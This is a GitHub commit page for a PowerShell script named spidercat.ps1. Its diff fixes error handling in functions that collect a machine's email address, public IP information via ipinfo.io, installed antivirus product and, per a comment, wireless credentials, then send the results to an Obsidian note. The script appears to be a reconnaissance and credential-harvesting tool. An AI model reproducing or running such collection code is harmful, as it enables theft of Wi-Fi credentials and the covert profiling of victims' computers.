Skip to content

Commit

Permalink
Fix Errors with No email or No AV found
Browse files Browse the repository at this point in the history
  • Loading branch information
atomiczsec committed Apr 21, 2023
1 parent 62f94f9 commit a15dba2
Showing 1 changed file with 8 additions and 8 deletions.
16 changes: 8 additions & 8 deletions spidercat.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -58,12 +58,13 @@ function Get-email {
}

# Write Error is just for troubleshooting
catch {Write-Error "An email was not found"
return "No Email Detected"
-ErrorAction SilentlyContinue
catch {
Write-Error "An email was not found"
return "No Email Detected"
}
}


function Get-IP-Information {
$ipinfo = curl.exe "https://ipinfo.io" | ConvertFrom-Json

Expand All @@ -72,7 +73,7 @@ function Get-IP-Information {

function Get-AntivirusSolution {
try {
$Antivirus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
$Antivirus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -ErrorAction Stop
if ($Antivirus) {
$AntivirusSolution = $Antivirus.displayName
}
Expand All @@ -81,14 +82,15 @@ function Get-AntivirusSolution {
}
}
catch {
Write-Error "Unable to get Antivirus Solution"
return "NA" -ErrorAction SilentlyContinue
Write-Error "Unable to get Antivirus Solution: $_"
$AntivirusSolution = "NA"
}
return $AntivirusSolution
}




# markdown wireless information
function wireless_markdown {
# get wireless creds
Expand Down Expand Up @@ -208,5 +210,3 @@ function user_markdown {
send_to_obsidian -message $content -file $markdown

}

user_markdown

0 comments on commit a15dba2

Please sign in to comment.